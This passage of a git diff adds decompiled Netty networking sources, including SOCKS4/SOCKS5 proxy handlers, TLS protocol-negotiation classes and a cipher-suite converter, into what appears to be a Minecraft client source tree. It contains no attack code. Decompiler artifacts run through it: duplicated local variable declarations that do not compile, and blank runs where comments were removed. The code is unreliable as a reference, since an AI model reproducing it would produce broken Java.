+  private void addPendingWrite(ChannelHandlerContext ctx, Object msg, ChannelPromise promise) {
+    PendingWriteQueue pendingWrites = this.pendingWrites;
+    if (pendingWrites == null) {
+      this.pendingWrites = (pendingWrites = new PendingWriteQueue(ctx));
+    }
+    pendingWrites.add(msg, promise);
+  }
+  
+  private final class LazyChannelPromise extends DefaultPromise<Channel> {
+    private LazyChannelPromise() {}
+    
+    protected EventExecutor executor() { if (ctx == null) {
+        throw new IllegalStateException();
+      }
+      return ctx.executor();
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/Socks4ProxyHandler.java b/src/minecraft/io/netty/handler/proxy/Socks4ProxyHandler.java
new file mode 100644
index 0000000..6deabb3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/Socks4ProxyHandler.java
@@ -0,0 +1,116 @@
+package io.netty.handler.proxy;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.socksx.v4.DefaultSocks4CommandRequest;
+import io.netty.handler.codec.socksx.v4.Socks4ClientDecoder;
+import io.netty.handler.codec.socksx.v4.Socks4ClientEncoder;
+import io.netty.handler.codec.socksx.v4.Socks4CommandResponse;
+import io.netty.handler.codec.socksx.v4.Socks4CommandStatus;
+import io.netty.handler.codec.socksx.v4.Socks4CommandType;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Socks4ProxyHandler
+  extends ProxyHandler
+{
+  private static final String PROTOCOL = "socks4";
+  private static final String AUTH_USERNAME = "username";
+  private final String username;
+  private String decoderName;
+  private String encoderName;
+  
+  public Socks4ProxyHandler(SocketAddress proxyAddress)
+  {
+    this(proxyAddress, null);
+  }
+  
+  public Socks4ProxyHandler(SocketAddress proxyAddress, String username) {
+    super(proxyAddress);
+    if ((username != null) && (username.length() == 0)) {
+      username = null;
+    }
+    this.username = username;
+  }
+  
+  public String protocol()
+  {
+    return "socks4";
+  }
+  
+  public String authScheme()
+  {
+    return username != null ? "username" : "none";
+  }
+  
+  public String username() {
+    return username;
+  }
+  
+  protected void addCodec(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    String name = ctx.name();
+    
+    Socks4ClientDecoder decoder = new Socks4ClientDecoder();
+    p.addBefore(name, null, decoder);
+    
+    decoderName = p.context(decoder).name();
+    encoderName = (decoderName + ".encoder");
+    
+    p.addBefore(name, encoderName, Socks4ClientEncoder.INSTANCE);
+  }
+  
+  protected void removeEncoder(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    p.remove(encoderName);
+  }
+  
+  protected void removeDecoder(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    p.remove(decoderName);
+  }
+  
+  protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception
+  {
+    InetSocketAddress raddr = (InetSocketAddress)destinationAddress();
+    String rhost;
+    String rhost; if (raddr.isUnresolved()) {
+      rhost = raddr.getHostString();
+    } else {
+      rhost = raddr.getAddress().getHostAddress();
+    }
+    return new DefaultSocks4CommandRequest(Socks4CommandType.CONNECT, rhost, raddr.getPort(), username != null ? username : "");
+  }
+  
+  protected boolean handleResponse(ChannelHandlerContext ctx, Object response)
+    throws Exception
+  {
+    Socks4CommandResponse res = (Socks4CommandResponse)response;
+    Socks4CommandStatus status = res.status();
+    if (status == Socks4CommandStatus.SUCCESS) {
+      return true;
+    }
+    
+    throw new ProxyConnectException(exceptionMessage("status: " + status));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/proxy/Socks5ProxyHandler.java b/src/minecraft/io/netty/handler/proxy/Socks5ProxyHandler.java
new file mode 100644
index 0000000..72f4c4d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/proxy/Socks5ProxyHandler.java
@@ -0,0 +1,206 @@
+package io.netty.handler.proxy;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.socksx.v5.DefaultSocks5CommandRequest;
+import io.netty.handler.codec.socksx.v5.DefaultSocks5InitialRequest;
+import io.netty.handler.codec.socksx.v5.DefaultSocks5PasswordAuthRequest;
+import io.netty.handler.codec.socksx.v5.Socks5AddressType;
+import io.netty.handler.codec.socksx.v5.Socks5AuthMethod;
+import io.netty.handler.codec.socksx.v5.Socks5ClientEncoder;
+import io.netty.handler.codec.socksx.v5.Socks5CommandResponse;
+import io.netty.handler.codec.socksx.v5.Socks5CommandResponseDecoder;
+import io.netty.handler.codec.socksx.v5.Socks5CommandStatus;
+import io.netty.handler.codec.socksx.v5.Socks5CommandType;
+import io.netty.handler.codec.socksx.v5.Socks5InitialRequest;
+import io.netty.handler.codec.socksx.v5.Socks5InitialResponse;
+import io.netty.handler.codec.socksx.v5.Socks5InitialResponseDecoder;
+import io.netty.handler.codec.socksx.v5.Socks5PasswordAuthResponse;
+import io.netty.handler.codec.socksx.v5.Socks5PasswordAuthResponseDecoder;
+import io.netty.handler.codec.socksx.v5.Socks5PasswordAuthStatus;
+import io.netty.util.NetUtil;
+import io.netty.util.internal.StringUtil;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.SocketAddress;
+import java.util.Arrays;
+import java.util.Collections;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Socks5ProxyHandler
+  extends ProxyHandler
+{
+  private static final String PROTOCOL = "socks5";
+  private static final String AUTH_PASSWORD = "password";
+  private static final Socks5InitialRequest INIT_REQUEST_NO_AUTH = new DefaultSocks5InitialRequest(Collections.singletonList(Socks5AuthMethod.NO_AUTH));
+  
+
+  private static final Socks5InitialRequest INIT_REQUEST_PASSWORD = new DefaultSocks5InitialRequest(Arrays.asList(new Socks5AuthMethod[] { Socks5AuthMethod.NO_AUTH, Socks5AuthMethod.PASSWORD }));
+  
+  private final String username;
+  
+  private final String password;
+  private String decoderName;
+  private String encoderName;
+  
+  public Socks5ProxyHandler(SocketAddress proxyAddress)
+  {
+    this(proxyAddress, null, null);
+  }
+  
+  public Socks5ProxyHandler(SocketAddress proxyAddress, String username, String password) {
+    super(proxyAddress);
+    if ((username != null) && (username.length() == 0)) {
+      username = null;
+    }
+    if ((password != null) && (password.length() == 0)) {
+      password = null;
+    }
+    this.username = username;
+    this.password = password;
+  }
+  
+  public String protocol()
+  {
+    return "socks5";
+  }
+  
+  public String authScheme()
+  {
+    return socksAuthMethod() == Socks5AuthMethod.PASSWORD ? "password" : "none";
+  }
+  
+  public String username() {
+    return username;
+  }
+  
+  public String password() {
+    return password;
+  }
+  
+  protected void addCodec(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    String name = ctx.name();
+    
+    Socks5InitialResponseDecoder decoder = new Socks5InitialResponseDecoder();
+    p.addBefore(name, null, decoder);
+    
+    decoderName = p.context(decoder).name();
+    encoderName = (decoderName + ".encoder");
+    
+    p.addBefore(name, encoderName, Socks5ClientEncoder.DEFAULT);
+  }
+  
+  protected void removeEncoder(ChannelHandlerContext ctx) throws Exception
+  {
+    ctx.pipeline().remove(encoderName);
+  }
+  
+  protected void removeDecoder(ChannelHandlerContext ctx) throws Exception
+  {
+    ChannelPipeline p = ctx.pipeline();
+    if (p.context(decoderName) != null) {
+      p.remove(decoderName);
+    }
+  }
+  
+  protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception
+  {
+    return socksAuthMethod() == Socks5AuthMethod.PASSWORD ? INIT_REQUEST_PASSWORD : INIT_REQUEST_NO_AUTH;
+  }
+  
+  protected boolean handleResponse(ChannelHandlerContext ctx, Object response) throws Exception
+  {
+    if ((response instanceof Socks5InitialResponse)) {
+      Socks5InitialResponse res = (Socks5InitialResponse)response;
+      Socks5AuthMethod authMethod = socksAuthMethod();
+      
+      if ((res.authMethod() != Socks5AuthMethod.NO_AUTH) && (res.authMethod() != authMethod))
+      {
+        throw new ProxyConnectException(exceptionMessage("unexpected authMethod: " + res.authMethod()));
+      }
+      
+      if (authMethod == Socks5AuthMethod.NO_AUTH) {
+        sendConnectCommand(ctx);
+      } else if (authMethod == Socks5AuthMethod.PASSWORD)
+      {
+        ctx.pipeline().replace(decoderName, decoderName, new Socks5PasswordAuthResponseDecoder());
+        sendToProxyServer(new DefaultSocks5PasswordAuthRequest(username != null ? username : "", password != null ? password : ""));
+      }
+      else
+      {
+        throw new Error();
+      }
+      
+      return false;
+    }
+    
+    if ((response instanceof Socks5PasswordAuthResponse))
+    {
+      Socks5PasswordAuthResponse res = (Socks5PasswordAuthResponse)response;
+      if (res.status() != Socks5PasswordAuthStatus.SUCCESS) {
+        throw new ProxyConnectException(exceptionMessage("authStatus: " + res.status()));
+      }
+      
+      sendConnectCommand(ctx);
+      return false;
+    }
+    
+
+    Socks5CommandResponse res = (Socks5CommandResponse)response;
+    if (res.status() != Socks5CommandStatus.SUCCESS) {
+      throw new ProxyConnectException(exceptionMessage("status: " + res.status()));
+    }
+    
+    return true;
+  }
+  
+  private Socks5AuthMethod socksAuthMethod() { Socks5AuthMethod authMethod;
+    Socks5AuthMethod authMethod;
+    if ((username == null) && (password == null)) {
+      authMethod = Socks5AuthMethod.NO_AUTH;
+    } else {
+      authMethod = Socks5AuthMethod.PASSWORD;
+    }
+    return authMethod;
+  }
+  
+  private void sendConnectCommand(ChannelHandlerContext ctx) throws Exception {
+    InetSocketAddress raddr = (InetSocketAddress)destinationAddress();
+    String rhost;
+    String rhost;
+    if (raddr.isUnresolved()) {
+      Socks5AddressType addrType = Socks5AddressType.DOMAIN;
+      rhost = raddr.getHostString();
+    } else {
+      rhost = raddr.getAddress().getHostAddress();
+      Socks5AddressType addrType; if (NetUtil.isValidIpV4Address(rhost)) {
+        addrType = Socks5AddressType.IPv4; } else { Socks5AddressType addrType;
+        if (NetUtil.isValidIpV6Address(rhost)) {
+          addrType = Socks5AddressType.IPv6;
+        } else {
+          throw new ProxyConnectException(exceptionMessage("unknown address type: " + StringUtil.simpleClassName(rhost)));
+        }
+      }
+    }
+    Socks5AddressType addrType;
+    ctx.pipeline().replace(decoderName, decoderName, new Socks5CommandResponseDecoder());
+    sendToProxyServer(new DefaultSocks5CommandRequest(Socks5CommandType.CONNECT, addrType, rhost, raddr.getPort()));
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolAccessor.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolAccessor.java
new file mode 100644
index 0000000..78f91b6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolAccessor.java
@@ -0,0 +1,6 @@
+package io.netty.handler.ssl;
+
+abstract interface ApplicationProtocolAccessor
+{
+  public abstract String getApplicationProtocol();
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolConfig.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolConfig.java
new file mode 100644
index 0000000..cc89ba6
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolConfig.java
@@ -0,0 +1,145 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.ObjectUtil;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ApplicationProtocolConfig
+{
+  public static final ApplicationProtocolConfig DISABLED = new ApplicationProtocolConfig();
+  
+
+  private final List<String> supportedProtocols;
+  
+
+  private final Protocol protocol;
+  
+
+  private final SelectorFailureBehavior selectorBehavior;
+  
+  private final SelectedListenerFailureBehavior selectedBehavior;
+  
+
+  public ApplicationProtocolConfig(Protocol protocol, SelectorFailureBehavior selectorBehavior, SelectedListenerFailureBehavior selectedBehavior, Iterable<String> supportedProtocols)
+  {
+    this(protocol, selectorBehavior, selectedBehavior, ApplicationProtocolUtil.toList(supportedProtocols));
+  }
+  
+
+
+
+
+
+
+
+  public ApplicationProtocolConfig(Protocol protocol, SelectorFailureBehavior selectorBehavior, SelectedListenerFailureBehavior selectedBehavior, String... supportedProtocols)
+  {
+    this(protocol, selectorBehavior, selectedBehavior, ApplicationProtocolUtil.toList(supportedProtocols));
+  }
+  
+
+
+
+
+
+
+
+
+  private ApplicationProtocolConfig(Protocol protocol, SelectorFailureBehavior selectorBehavior, SelectedListenerFailureBehavior selectedBehavior, List<String> supportedProtocols)
+  {
+    this.supportedProtocols = Collections.unmodifiableList((List)ObjectUtil.checkNotNull(supportedProtocols, "supportedProtocols"));
+    this.protocol = ((Protocol)ObjectUtil.checkNotNull(protocol, "protocol"));
+    this.selectorBehavior = ((SelectorFailureBehavior)ObjectUtil.checkNotNull(selectorBehavior, "selectorBehavior"));
+    this.selectedBehavior = ((SelectedListenerFailureBehavior)ObjectUtil.checkNotNull(selectedBehavior, "selectedBehavior"));
+    
+    if (protocol == Protocol.NONE) {
+      throw new IllegalArgumentException("protocol (" + Protocol.NONE + ") must not be " + Protocol.NONE + '.');
+    }
+    if (supportedProtocols.isEmpty()) {
+      throw new IllegalArgumentException("supportedProtocols must be not empty");
+    }
+  }
+  
+
+
+  private ApplicationProtocolConfig()
+  {
+    supportedProtocols = Collections.emptyList();
+    protocol = Protocol.NONE;
+    selectorBehavior = SelectorFailureBehavior.CHOOSE_MY_LAST_PROTOCOL;
+    selectedBehavior = SelectedListenerFailureBehavior.ACCEPT;
+  }
+  
+
+
+  public static enum Protocol
+  {
+    NONE,  NPN,  ALPN,  NPN_AND_ALPN;
+    
+    private Protocol() {}
+  }
+  
+  public static enum SelectorFailureBehavior
+  {
+    FATAL_ALERT,  NO_ADVERTISE,  CHOOSE_MY_LAST_PROTOCOL;
+    
+    private SelectorFailureBehavior() {}
+  }
+  
+  public static enum SelectedListenerFailureBehavior
+  {
+    ACCEPT,  FATAL_ALERT,  CHOOSE_MY_LAST_PROTOCOL;
+    
+    private SelectedListenerFailureBehavior() {}
+  }
+  
+  public List<String> supportedProtocols()
+  {
+    return supportedProtocols;
+  }
+  
+
+
+  public Protocol protocol()
+  {
+    return protocol;
+  }
+  
+
+
+  public SelectorFailureBehavior selectorFailureBehavior()
+  {
+    return selectorBehavior;
+  }
+  
+
+
+  public SelectedListenerFailureBehavior selectedListenerFailureBehavior()
+  {
+    return selectedBehavior;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNames.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNames.java
new file mode 100644
index 0000000..f140252
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNames.java
@@ -0,0 +1,13 @@
+package io.netty.handler.ssl;
+
+public final class ApplicationProtocolNames
+{
+  public static final String HTTP_2 = "h2";
+  public static final String HTTP_1_1 = "http/1.1";
+  public static final String SPDY_3_1 = "spdy/3.1";
+  public static final String SPDY_3 = "spdy/3";
+  public static final String SPDY_2 = "spdy/2";
+  public static final String SPDY_1 = "spdy/1";
+  
+  private ApplicationProtocolNames() {}
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiationHandler.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiationHandler.java
new file mode 100644
index 0000000..5c4f800
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiationHandler.java
@@ -0,0 +1,124 @@
+package io.netty.handler.ssl;
+
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelInboundHandlerAdapter;
+import io.netty.channel.ChannelPipeline;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ApplicationProtocolNegotiationHandler
+  extends ChannelInboundHandlerAdapter
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(ApplicationProtocolNegotiationHandler.class);
+  
+
+
+
+  private final String fallbackProtocol;
+  
+
+
+
+  protected ApplicationProtocolNegotiationHandler(String fallbackProtocol)
+  {
+    this.fallbackProtocol = ((String)ObjectUtil.checkNotNull(fallbackProtocol, "fallbackProtocol"));
+  }
+  
+  public void userEventTriggered(ChannelHandlerContext ctx, Object evt) throws Exception
+  {
+    if ((evt instanceof SslHandshakeCompletionEvent)) {
+      ctx.pipeline().remove(this);
+      
+      SslHandshakeCompletionEvent handshakeEvent = (SslHandshakeCompletionEvent)evt;
+      if (handshakeEvent.isSuccess()) {
+        SslHandler sslHandler = (SslHandler)ctx.pipeline().get(SslHandler.class);
+        if (sslHandler == null) {
+          throw new IllegalStateException("cannot find a SslHandler in the pipeline (required for application-level protocol negotiation)");
+        }
+        
+        String protocol = sslHandler.applicationProtocol();
+        configurePipeline(ctx, protocol != null ? protocol : fallbackProtocol);
+      } else {
+        handshakeFailure(ctx, handshakeEvent.cause());
+      }
+    }
+    
+    ctx.fireUserEventTriggered(evt);
+  }
+  
+
+
+
+
+  protected abstract void configurePipeline(ChannelHandlerContext paramChannelHandlerContext, String paramString)
+    throws Exception;
+  
+
+
+
+
+  protected void handshakeFailure(ChannelHandlerContext ctx, Throwable cause)
+    throws Exception
+  {
+    logger.warn("{} TLS handshake failed:", ctx.channel(), cause);
+    ctx.close();
+  }
+  
+  public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) throws Exception
+  {
+    logger.warn("{} Failed to select the application-level protocol:", ctx.channel(), cause);
+    ctx.close();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiator.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiator.java
new file mode 100644
index 0000000..095e43f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolNegotiator.java
@@ -0,0 +1,8 @@
+package io.netty.handler.ssl;
+
+import java.util.List;
+
+public abstract interface ApplicationProtocolNegotiator
+{
+  public abstract List<String> protocols();
+}
diff --git a/src/minecraft/io/netty/handler/ssl/ApplicationProtocolUtil.java b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolUtil.java
new file mode 100644
index 0000000..d83567a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/ApplicationProtocolUtil.java
@@ -0,0 +1,77 @@
+package io.netty.handler.ssl;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class ApplicationProtocolUtil
+{
+  private static final int DEFAULT_LIST_SIZE = 2;
+  
+  private ApplicationProtocolUtil() {}
+  
+  static List<String> toList(Iterable<String> protocols)
+  {
+    return toList(2, protocols);
+  }
+  
+  static List<String> toList(int initialListSize, Iterable<String> protocols) {
+    if (protocols == null) {
+      return null;
+    }
+    
+    List<String> result = new ArrayList(initialListSize);
+    for (String p : protocols) {
+      if ((p == null) || (p.isEmpty())) {
+        throw new IllegalArgumentException("protocol cannot be null or empty");
+      }
+      result.add(p);
+    }
+    
+    if (result.isEmpty()) {
+      throw new IllegalArgumentException("protocols cannot empty");
+    }
+    
+    return result;
+  }
+  
+  static List<String> toList(String... protocols) {
+    return toList(2, protocols);
+  }
+  
+  static List<String> toList(int initialListSize, String... protocols) {
+    if (protocols == null) {
+      return null;
+    }
+    
+    List<String> result = new ArrayList(initialListSize);
+    for (String p : protocols) {
+      if ((p == null) || (p.isEmpty())) {
+        throw new IllegalArgumentException("protocol cannot be null or empty");
+      }
+      result.add(p);
+    }
+    
+    if (result.isEmpty()) {
+      throw new IllegalArgumentException("protocols cannot empty");
+    }
+    
+    return result;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/ssl/CipherSuiteConverter.java b/src/minecraft/io/netty/handler/ssl/CipherSuiteConverter.java
new file mode 100644
index 0000000..8649937
--- /dev/null
+++ b/src/minecraft/io/netty/handler/ssl/CipherSuiteConverter.java
@@ -0,0 +1,415 @@
+package io.netty.handler.ssl;
+
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.concurrent.ConcurrentMap;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class CipherSuiteConverter
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(CipherSuiteConverter.class);
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Pattern JAVA_CIPHERSUITE_PATTERN = Pattern.compile("^(?:TLS|SSL)_((?:(?!_WITH_).)+)_WITH_(.*)_(.*)$");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Pattern OPENSSL_CIPHERSUITE_PATTERN = Pattern.compile("^(?:((?:(?:EXP-)?(?:(?:DHE|EDH|ECDH|ECDHE|SRP)-(?:DSS|RSA|ECDSA)|(?:ADH|AECDH|KRB5|PSK|SRP)))|EXP)-)?(.*)-(.*)$");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private static final Pattern JAVA_AES_CBC_PATTERN = Pattern.compile("^(AES)_([0-9]+)_CBC$");
+  private static final Pattern JAVA_AES_PATTERN = Pattern.compile("^(AES)_([0-9]+)_(.*)$");
+  private static final Pattern OPENSSL_AES_CBC_PATTERN = Pattern.compile("^(AES)([0-9]+)$");
+  private static final Pattern OPENSSL_AES_PATTERN = Pattern.compile("^(AES)([0-9]+)-(.*)$");
+  
+
+
+
+
+  private static final ConcurrentMap<String, String> j2o = PlatformDependent.newConcurrentHashMap();
+  
+
+
+
+
+
+  private static final ConcurrentMap<String, Map<String, String>> o2j = PlatformDependent.newConcurrentHashMap();
+  
+
+
+  static void clearCache()
+  {
+    j2o.clear();
+    o2j.clear();
+  }
+  
+
+
+  static boolean isJ2OCached(String key, String value)
+  {
+    return value.equals(j2o.get(key));
+  }
+  
+
+
+  static boolean isO2JCached(String key, String protocol, String value)
+  {
+    Map<String, String> p2j = (Map)o2j.get(key);
+    if (p2j == null) {
+      return false;
+    }
+    return value.equals(p2j.get(protocol));
+  }
+  
+
+
+
+  static String toOpenSsl(Iterable<String> javaCipherSuites)
+  {
+    StringBuilder buf = new StringBuilder();
+    for (String c : javaCipherSuites) {
+      if (c == null) {
+        break;
+      }
+      
+      String converted = toOpenSsl(c);
+      if (converted != null) {
+        c = converted;
+      }
+      
+      buf.append(c);
+      buf.append(':');
+    }
+    
+    if (buf.length() > 0) {
+      buf.setLength(buf.length() - 1);
+      return buf.toString();
+    }
+    return "";
+  }
+  
+
+
+
+
+
+  static String toOpenSsl(String javaCipherSuite)
+  {
+    String converted = (String)j2o.get(javaCipherSuite);
+    if (converted != null) {
+      return converted;
+    }
+    return cacheFromJava(javaCipherSuite);
+  }
+  
+  private static String cacheFromJava(String javaCipherSuite)
+  {
+    String openSslCipherSuite = toOpenSslUncached(javaCipherSuite);
+    if (openSslCipherSuite == null) {
+      return null;
+    }
+    
+
+    j2o.putIfAbsent(javaCipherSuite, openSslCipherSuite);
+    
+
+    String javaCipherSuiteSuffix = javaCipherSuite.substring(4);
+    Map<String, String> p2j = new HashMap(4);
+    p2j.put("", javaCipherSuiteSuffix);
+    p2j.put("SSL", "SSL_" + javaCipherSuiteSuffix);
+    p2j.put("TLS", "TLS_" + javaCipherSuiteSuffix);
+    o2j.put(openSslCipherSuite, p2j);
+    
+    logger.debug("Cipher suite mapping: {} => {}", javaCipherSuite, openSslCipherSuite);
+    
+    return openSslCipherSuite;
+  }
+  
+  static String toOpenSslUncached(String javaCipherSuite) {
+    Matcher m = JAVA_CIPHERSUITE_PATTERN.matcher(javaCipherSuite);
+    if (!m.matches()) {
+      return null;
+    }
+    
+    String handshakeAlgo = toOpenSslHandshakeAlgo(m.group(1));
+    String bulkCipher = toOpenSslBulkCipher(m.group(2));
+    String hmacAlgo = toOpenSslHmacAlgo(m.group(3));
+    if (handshakeAlgo.length() == 0) {
+      return bulkCipher + '-' + hmacAlgo;
+    }
+    return handshakeAlgo + '-' + bulkCipher + '-' + hmacAlgo;
+  }
+  
+  private static String toOpenSslHandshakeAlgo(String handshakeAlgo)
+  {
+    boolean export = handshakeAlgo.endsWith("_EXPORT");
+    if (export) {
+      handshakeAlgo = handshakeAlgo.substring(0, handshakeAlgo.length() - 7);
+    }
+    
+    if ("RSA".equals(handshakeAlgo)) {
+      handshakeAlgo = "";
+    } else if (handshakeAlgo.endsWith("_anon")) {
+      handshakeAlgo = 'A' + handshakeAlgo.substring(0, handshakeAlgo.length() - 5);
+    }
+    
+    if (export) {
+      if (handshakeAlgo.length() == 0) {
+        handshakeAlgo = "EXP";
+      } else {
+        handshakeAlgo = "EXP-" + handshakeAlgo;
+      }
+    }
+    
+    return handshakeAlgo.replace('_', '-');
+  }
+  
+  private static String toOpenSslBulkCipher(String bulkCipher) {
+    if (bulkCipher.startsWith("AES_")) {
+      Matcher m = JAVA_AES_CBC_PATTERN.matcher(bulkCipher);
+      if (m.matches()) {
+        return m.replaceFirst("$1$2");
+      }
+      
+      m = JAVA_AES_PATTERN.matcher(bulkCipher);
+      if (m.matches()) {
+        return m.replaceFirst("$1$2-$3");
+      }
+    }
+    
+    if ("3DES_EDE_CBC".equals(bulkCipher)) {
+      return "DES-CBC3";
+    }
+    
+    if (("RC4_128".equals(bulkCipher)) || ("RC4_40".equals(bulkCipher))) {
+      return "RC4";
+    }
+    
+    if (("DES40_CBC".equals(bulkCipher)) || ("DES_CBC_40".equals(bulkCipher))) {
+      return "DES-CBC";
+    }
+    
+    if ("RC2_CBC_40".equals(bulkCipher)) {
+      return "RC2-CBC";
+    }
+    
+    return bulkCipher.replace('_', '-');
+  }
+  
+
+
+
+
+
+  private static String toOpenSslHmacAlgo(String hmacAlgo)
+  {
+    return hmacAlgo;
+  }
+  
+
+
+
+
+
+  static String toJava(String openSslCipherSuite, String protocol)
+  {
+    Map<String, String> p2j = (Map)o2j.get(openSslCipherSuite);
+    if (p2j == null) {
+      p2j = cacheFromOpenSsl(openSslCipherSuite);
+    }
+    
+    String javaCipherSuite = (String)p2j.get(protocol);
+    if (javaCipherSuite == null) {
+      javaCipherSuite = protocol + '_' + (String)p2j.get("");
+    }
+    
+    return javaCipherSuite;
+  }
+  
+  private static Map<String, String> cacheFromOpenSsl(String openSslCipherSuite) {
+    String javaCipherSuiteSuffix = toJavaUncached(openSslCipherSuite);
+    if (javaCipherSuiteSuffix == null) {
+      return null;
+    }
+    
+    String javaCipherSuiteSsl = "SSL_" + javaCipherSuiteSuffix;
+    String javaCipherSuiteTls = "TLS_" + javaCipherSuiteSuffix;
+    
+
+    Map<String, String> p2j = new HashMap(4);
+    p2j.put("", javaCipherSuiteSuffix);
+    p2j.put("SSL", javaCipherSuiteSsl);
+    p2j.put("TLS", javaCipherSuiteTls);
+    o2j.putIfAbsent(openSslCipherSuite, p2j);
+    
+
+    j2o.putIfAbsent(javaCipherSuiteTls, openSslCipherSuite);
+    j2o.putIfAbsent(javaCipherSuiteSsl, openSslCipherSuite);
+    
+    logger.debug("Cipher suite mapping: {} => {}", javaCipherSuiteTls, openSslCipherSuite);
+    logger.debug("Cipher suite mapping: {} => {}", javaCipherSuiteSsl, openSslCipherSuite);
+    
+    return p2j;
+  }
+  
+  static String toJavaUncached(String openSslCipherSuite) {
+    Matcher m = OPENSSL_CIPHERSUITE_PATTERN.matcher(openSslCipherSuite);
+    if (!m.matches()) {
+      return null;
+    }
+    
+    String handshakeAlgo = m.group(1);
+    boolean export;
+    boolean export; if (handshakeAlgo == null) {
+      handshakeAlgo = "";
+      export = false; } else { boolean export;
+      if (handshakeAlgo.startsWith("EXP-")) {
+        handshakeAlgo = handshakeAlgo.substring(4);
+        export = true; } else { boolean export;
+        if ("EXP".equals(handshakeAlgo)) {
+          handshakeAlgo = "";
+          export = true;
+        } else {
+          export = false;
+        }
+      } }
+    handshakeAlgo = toJavaHandshakeAlgo(handshakeAlgo, export);
+    String bulkCipher = toJavaBulkCipher(m.group(2), export);
+    String hmacAlgo = toJavaHmacAlgo(m.group(3));
+    
+    return handshakeAlgo + "_WITH_" + bulkCipher + '_' + hmacAlgo;
+  }
+  
+  private static String toJavaHandshakeAlgo(String handshakeAlgo, boolean export) {
+    if (handshakeAlgo.length() == 0) {
+      handshakeAlgo = "RSA";
+    } else if ("ADH".equals(handshakeAlgo)) {
+      handshakeAlgo = "DH_anon";
+    } else if ("AECDH".equals(handshakeAlgo)) {
+      handshakeAlgo = "ECDH_anon";
+    }
+    
+    handshakeAlgo = handshakeAlgo.replace('-', '_');
+    if (export) {
+      return handshakeAlgo + "_EXPORT";
+    }
+    return handshakeAlgo;
+  }
+  
+  private static String toJavaBulkCipher(String bulkCipher, boolean export)
+  {
+    if (bulkCipher.startsWith("AES")) {
+      Matcher m = OPENSSL_AES_CBC_PATTERN.matcher(bulkCipher);
+      if (m.matches()) {
+        return m.replaceFirst("$1_$2_CBC");
+      }
+      
+      m = OPENSSL_AES_PATTERN.matcher(bulkCipher);
+      if (m.matches()) {
+        return m.replaceFirst("$1_$2_$3");
+      }
+    }
+    
+    if ("DES-CBC3".equals(bulkCipher)) {
+      return "3DES_EDE_CBC";
+    }
+    
+    if ("RC4".equals(bulkCipher)) {
+      if (export) {
+        return "RC4_40";
+      }
+      return "RC4_128";
+    }
+    
+
+    if ("DES-CBC".equals(bulkCipher)) {
+      if (export) {
+        return "DES_CBC_40";
+      }
+      return "DES_CBC";
+    }
+    
+
+    if ("RC2-CBC".equals(bulkCipher)) {
+      if (export) {
+        return "RC2_CBC_40";
+      }
+      return "RC2_CBC";
+    }
+    
+
